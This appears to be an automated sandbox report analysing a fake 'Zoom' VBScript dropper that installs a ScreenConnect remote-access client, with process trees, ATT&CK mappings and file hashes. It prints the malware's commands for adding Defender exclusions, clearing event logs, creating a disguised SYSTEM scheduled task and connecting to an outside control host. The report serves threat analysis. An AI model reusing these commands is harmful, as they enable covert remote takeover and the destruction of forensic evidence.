description pid Process procid_target PID 1416 wrote to memory of 4844 1416 WScript.exe 84 PID 4844 wrote to memory of 4492 4844 wscript.exe 85 PID 4844 wrote to memory of 4496 4844 wscript.exe 88 PID 4844 wrote to memory of 5016 4844 wscript.exe 90 PID 4844 wrote to memory of 1036 4844 wscript.exe 92 PID 4844 wrote to memory of 544 4844 wscript.exe 104 PID 4524 wrote to memory of 3816 4524 msiexec.exe 107 PID 3816 wrote to memory of 4320 3816 MsiExec.exe 108 PID 4524 wrote to memory of 1204 4524 msiexec.exe 109 PID 3312 wrote to memory of 5000 3312 ScreenConnect.ClientService.exe 111 PID 3312 wrote to memory of 1076 3312 ScreenConnect.ClientService.exe 116 PID 4844 wrote to memory of 1604 4844 wscript.exe 117 PID 4844 wrote to memory of 4224 4844 wscript.exe 119 PID 4844 wrote to memory of 1628 4844 wscript.exe 121 PID 4844 wrote to memory of 4492 4844 wscript.exe 124 PID 4844 wrote to memory of 4368 4844 wscript.exe 127 PID 4844 wrote to memory of 4744 4844 wscript.exe 129 PID 4844 wrote to memory of 3508 4844 wscript.exe 131 PID 4744 wrote to memory of 4664 4744 cmd.exe 133 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs" uac2⤵
- Badlisted process makes network request
- Checks computer location settings
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c title Windows System Service3⤵
- Executes a command shell one-liner
PID:4492
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4496
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionProcess 'wscript.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionProcess 'msiexec.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1036
-
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\fWK3FezRFc.msi" /qn /norestart3⤵
- Suspicious use of AdjustPrivilegeToken
PID:544
-
-
C:\Windows\System32\wevtutil.exe"C:\Windows\System32\wevtutil.exe" cl System3⤵
- Clears Windows event logs
PID:1604
-
-
C:\Windows\System32\wevtutil.exe"C:\Windows\System32\wevtutil.exe" cl Application3⤵
- Clears Windows event logs
PID:4224
-
-
C:\Windows\System32\wevtutil.exe"C:\Windows\System32\wevtutil.exe" cl Security3⤵
- Clears Windows event logs
PID:1628
-
-
C:\Windows\System32\wevtutil.exe"C:\Windows\System32\wevtutil.exe" cl Microsoft-Windows-Windows Defender/Operational3⤵
- Clears Windows event logs
PID:4492
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"3⤵PID:4368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~O014Pd.bat" "3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak4⤵
- Delays execution with timeout.exe
PID:4664
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "AdobeUpdateTaskB4OA" /tr "cmd /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\Zoom_exe.vbs"" /sc onstart /f /ru SYSTEM3⤵
- Scheduled Task/Job: Scheduled Task
PID:3508
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F8C9A50E1782C7D75B5A8B03D73D37ED2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSI7EDB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240746546 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4320
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 745C50FBB4C2D5552023F627580FA5AB E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1204
-
-
C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=panel.munchyyyyyscpann.live&p=8041&s=f50c2c14-08f0-4380-b6b8-6332850df8df&k=BgIAAACkAABSU0ExAAgAAAEAAQCpFELtUVjqFdXQRmLr%2fXrGdiSCqVQKdX1haAtUgQjjDZILzr0vR73mXrkeJaEeJAC98qTgFzXzVkAgALWFr2vHGuR9fy3zg3TDWjGGnk1afT8YvPkNMW8P4CXFhgtQGm%2fP4ueQr4kF2kh1cG8zzQV0%2fh%2fTkY74whERRw8TJJ9KgX9LPDbbjlrUtIjaFj0DPgmWbMRSvv0u6%2bA2KTCmybPbD8WG1liQlPVyNQ7yRQpXFcvCVOKB%2blgMjNfD4%2fFhWTScVfGgrUh61h72uf%2beqTSKJHGuMZRwXhx%2fFkuyEOn0RY0T0FcxpSMqcvrFxXRFGMzVjtpDkL0rIbzXm7LcgJmq"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe" "RunRole" "0eeda39b-4cc9-4ed1-989d-fe7595f8bff9" "User"2⤵
- Executes dropped EXE
PID:5000
-
-
C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe" "RunRole" "0c19c748-c041-4417-b767-cfcdb11df7d1" "System"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:1076
-
-
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\~msi.tmp" /qn1⤵PID:1224
-
C:\Windows\system32\cmd.execmd1⤵PID:4972
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
3Authentication Package
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
3Authentication Package
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
2Clear Windows Event Logs
1File Deletion
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e597bf0.rbs
- Size 214KB
- SHA256 1724e4a833d026e0aa093a57117c18f4ee962b5035992e64c3c726fd4e704031
- MD5 b5e1edd1a4ac443a42021e881df785d8
- SHA1 1fd5563bea498963079502be7245bde889882159
- SHA512 e020839cb14b365a45d54e6e70d5f6c81f13ad61e2f96af5f7798e87045a0d060c4c0b567e70ab891a37be01718ce80e5d27d4964f3a93eb5791680eda2ffe80
- SSDEEP 3072:d1p9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGh:d1puH2aCGw1ST1wQLdqvh
- TLSH T1A4248D216484907EE7FA1A32D93EDA717E7CF6740760C59E83888C1E9D604C06BF6B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.en-US.resources
- Size 251B
- SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
- MD5 7857331bd82d84f45630bffc739ddfa6
- SHA1 91f74b971b2c66efebf2495fdff3c5f7c707a7c3
- SHA512 7b9ba5bc97c84415f3586a337fcfe3fe5f2d6e06b9992e7787da12ba6e7df2bc7189b12ab5a7aceb990a389f59db02119acbb127e5c6ecb41a93410f07df9a10
- TLSH T127D0A732076D60B2E9231F772479A5D20237EA189034593D8C68126C6FB23174B82F72
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.Override.resources
- Size 270KB
- SHA256 7e51f0484f633d26551de004887ec9c90c943f2de1f099027fefaa04581f9a23
- MD5 a76e66ed5319836fc31d3760b8d8aa11
- SHA1 64e7b8273ebd4f4f3aaf3505d73c1215a4822fd6
- SHA512 3d516c55cc4c0878a143a3cfb3880e03ca2f4ff3a0c45961b3b0796b55a9797f8c610ccee907723dc12c19bf8106adf6af9734ec324b057024d0e904c747b26a
- SSDEEP 6144:iYmriGbE1l1YNwplywhb4M+94kZ26mi5XtLy96TUdQnG:iYJGbE1lSaplgM+9Vv7296TUN
- TLSH T1D5442312675BFDB7D76F01ABCB0ADF9B7917C36480BD24988A5BC2E817E1C152161F40
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.en-US.resources
- Size 48KB
- SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
- MD5 d524e8e6fd04b097f0401b2b668db303
- SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
- SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
- SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
- TLSH T13D331D1277FD0A18F5F36F45BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\Client.resources
- Size 26KB
- SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
- MD5 5cd580b22da0c33ec6730b10a6c74932
- SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
- SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
- SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
- TLSH T10BC2D0CA33BDED98E77E63BB7DE840701737BB017D6192126C060411613528AAEA8F4F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.Client.dll
- Size 192KB
- SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
- MD5 3724f06f3422f4e42b41e23acb39b152
- SHA1 1220987627782d3c3397d4abf01ac3777999e01c
- SHA512 509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42
- SSDEEP 3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
- TLSH T1DD144B8633A94E36DA9F5D73B46060358AB5ED066023E3EE5E04F9F61A733408E553E3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.dll
- Size 66KB
- SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
- MD5 5db908c12d6e768081bced0e165e36f8
- SHA1 f2d3160f15cfd0989091249a61132a369e44dea4
- SHA512 8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d
- SSDEEP 1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
- TLSH T1C2634A45A3E95E77C9DF5F7C7865B1410FB08A02E462FB989CC9A8D71A537C12E003AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.ClientService.exe
- Size 93KB
- SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
- MD5 75b21d04c69128a7230a0998086b61aa
- SHA1 244bd68a722cfe41d1f515f5e40c3742be2b3d1d
- SHA512 8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2
- SSDEEP 1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
- TLSH T1B7935B13B5C28872D473093158E0DAB49A3FF9215E61DEAB3798022E4F741C1AE75EB7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsAuthenticationPackage.dll
- Size 254KB
- SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
- MD5 5adcb5ae1a1690be69fd22bdf3c2db60
- SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
- SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
- SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
- TLSH T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe
- Size 588KB
- SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
- MD5 1778204a8c3bc2b8e5e4194edbaf7135
- SHA1 0203b65e92d2d1200dd695fe4c334955befbddd3
- SHA512 a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69
- SSDEEP 6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
- TLSH T168D46D2677B8DB6BC9EF073AB0B15E2457B0E8036686D78E48A4B5D90DC738149093F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsClient.exe.config
- Size 266B
- SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
- MD5 728175e20ffbceb46760bb5e1112f38b
- SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
- SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
- TLSH T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\ScreenConnect.WindowsCredentialProvider.dll
- Size 822KB
- SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
- MD5 be74ab7a848a2450a06de33d3026f59e
- SHA1 21568dcb44df019f9faf049d6676a829323c601e
- SHA512 2643d649a642220ceee121038fe24ea0b86305ed8232a7e5440dffc78270e2bda578a619a76c5bb5a5a6fe3d9093e29817c5df6c5dd7a8fbc2832f87aa21f0cc
- SSDEEP 12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
- TLSH T10C055C1BE79840B9D0ADC2B5D31B9636BBB6F4864514B68F07D40A227E2FF50AF1C394
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\app.config
- Size 1KB
- SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
- MD5 2744e91bb44e575ad8e147e06f8199e3
- SHA1 6795c6b8f0f2dc6d8bd39f9cf971bab81556b290
- SHA512 586edc48a71fa17cdf092a95d27fce2341c023b8ea4d93fa2c86ca9b3b3e056fd69bd3644edbad1224297bce9646419036ea442c93778985f839e14776f51498
- TLSH T1B441601DB5C0AF9915B25631E73152D1EC6009335266B0E0B8DE316B9F70ECA4BF32EA
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (d0fdeed3294016a6)\system.config
- Size 951B
- SHA256 e499aba863f736a12bc47d55d0690f8bd4c4e677d50c91ed50467135382b45dd
- MD5 3bd8d868117aa34daab4f188d71e0fb2
- SHA1 1fd5ea3d8ec3e3d84af6bb904888639d5e8d639d
- SHA512 4b958f0d8375adf14478a88d8bea7a518c3136f7b5cff8738748a628521de9b776411ba913dde08ba2431b7874a7d51a588b11bc322212700b70bfad8c37a111
- TLSH T18C1144717980BC1B0B736E32D1158740DD72379B25015054B0EFE23B9B799DB07A31E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 f8955b8222531e781da46d2073ba029d35c9ea1e9e0afc8aec301ef664cc7ba1
- MD5 bc487a10cbdc629a4f1bf7746fb761db
- SHA1 fd57efbd4fec14ee2cd1f7182e44deab3274d93d
- SHA512 bf3671f71474c4c95f8927983d4ed04e5fd62c1cbf0fb374591ddc72bd5ece11edeb8d8086af48827464038748b4ab9c12a3d63daf22523f5f4fc42a73f46b2a
- TLSH T106112223F38C8920CC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
- MD5 eb1ad317bd25b55b2bbdce8a28a74a94
- SHA1 98a3978be4d10d62e7411946474579ee5bdc5ea6
- SHA512 d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0
- TLSH T12B112223F38C8920CC961639509DAC5172B586CB81AFDE9F7FC0D210A1BF584CB61194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5hft1ag2.yp3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\fWK3FezRFc.msi
- Size 13.5MB
- SHA256 9f67f094f5b463b3c271636b76349ae209c107231dc6877538365936962d1f70
- MD5 80e73a70435b1d180be0cb8a378f62d2
- SHA1 c98629b0f0d424a1bbc3a4056ab1b04f31d0068d
- SHA512 b1df068c360fbb2b11e8c03423898b06d464e2eb521a4cacf78777d0a76f1aa3c324a3f2cf6c1cff616c82475fa5999582f9cbb5d058731a4b9be8f31e00b2e4
- SSDEEP 196608:rWh0cGwAWh0cGrWh0cGyWh0cG6Wh0cGnhWh0cGnDWh0cGnz:rWac+WaciWactWacNWacoWacsWaca
- TLSH T179E6232523FD445AF8FB4B79EE3682E45D72FE64CE21C11E5228B90D1AB0D4096727B3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\~O014Pd.bat
- Size 169B
- SHA256 7143e2d11367a3a3ade052a839e8a0217604924317cfa39d5e770474efbc5484
- MD5 e40f24a751a36ae6154db5fb6a6ac0ba
- SHA1 1fb7ba7e9444eccf9257ba79ca321fd8ef722923
- SHA512 107fa87bc728685db15b326b93c41859d59de3e3fe4b78f16831e35822f91b3daba7af32548d056211b69e657b7a394ef8967386490eacc3ae6cfa77dc593e52
- TLSH T168C01216424B4655084064A609AAA05CD0B848566F44B7C10791951ED346416EA837C5
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\Installer\MSI7EDB.tmp
- Size 1.0MB
- SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
- MD5 8a8767f589ea2f2c7496b63d8ccc2552
- SHA1 cc5de8dd18e7117d8f2520a51edb1d165cae64b0
- SHA512 518231213ca955acdf37b4501fde9c5b15806d4fc166950eb8706e8d3943947cf85324faee806d7df828485597eceffcfa05ca1a5d8ab1bd51ed12df963a1fe4
- SSDEEP 24576:QUUGGHn+rUGemcPe9MpKL4Plb2sZWV+tLv0QYu5OPthT+gd:jGHpRPqMpvlqs0O4iO2k
- TLSH T18C35231873E9C436F5E679385E32A1D205FCBE764E70904E6B99292C0DB0F82D6B4763
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7EDB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- Size 172KB
- SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
- MD5 5ef88919012e4a3d8a1e2955dc8c8d81
- SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
- SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
- SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
- TLSH T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.Core.dll
- Size 536KB
- SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
- MD5 14e7489ffebbb5a2ea500f796d881ad9
- SHA1 0323ee0e1faa4aa0e33fb6c6147290aa71637ebd
- SHA512 2110113240b7d803d8271139e0a2439dbc86ae8719ecd8b132bbda2520f22dc3f169598c8e966ac9c0a40e617219cb8fe8aac674904f6a1ae92d4ac1e20627cd
- SSDEEP 12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
- TLSH T12BC47D2233AC9A2EC56E133BB072915DC5F0E906351AF79F76C5E5BC2EC27450E112EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.InstallerActions.dll
- Size 11KB
- SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
- MD5 73a24164d8408254b77f3a2c57a22ab4
- SHA1 ea0215721f66a93d67019d11c4e588a547cc2ad6
- SHA512 650d4320d9246aaecd596ac8b540bf7612ec7a8f60ecaa6e9c27b547b751386222ab926d0c915698d0bb20556475da507895981c072852804f0b42fdda02b844
- SSDEEP 192:V8/Qp6lCJuV3jHXtyVNamVNG1YZfCrMmbfHJ7kjvLjbuLd9NEFbM64:y/cBJaLXt2NaheUrMmb/FkjvLjbuZj64
- TLSH T1F932E70077DC533AE8BE1F78EEB361910A71FB64A011DF2E18CCA1569C367449EA07A3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7EDB.tmp-\ScreenConnect.Windows.dll
- Size 1.6MB
- SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
- MD5 9ad3964ba3ad24c42c567e47f88c82b2
- SHA1 6b4b581fc4e3ecb91b24ec601daa0594106bcc5d
- SHA512 ce557a89c0fe6de59046116c1e262a36bbc3d561a91e44dcda022bef72cb75742c8b01bedcc5b9b999e07d8de1f94c665dd85d277e981b27b6bfebeaf9e58097
- SSDEEP 24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
- TLSH T1DC85BD41E2C365F5D46B047888BF572ABA743C080315CAFB97D4AE396D33BC09A36756
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8778.tmp
- Size 202KB
- SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
- MD5 ba84dd4e0c1408828ccc1de09f585eda
- SHA1 e8e10065d479f8f591b9885ea8487bc673301298
- SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
- SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
- TLSH T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
- MD5 SHA1 SHA512 SSDEEP TLSH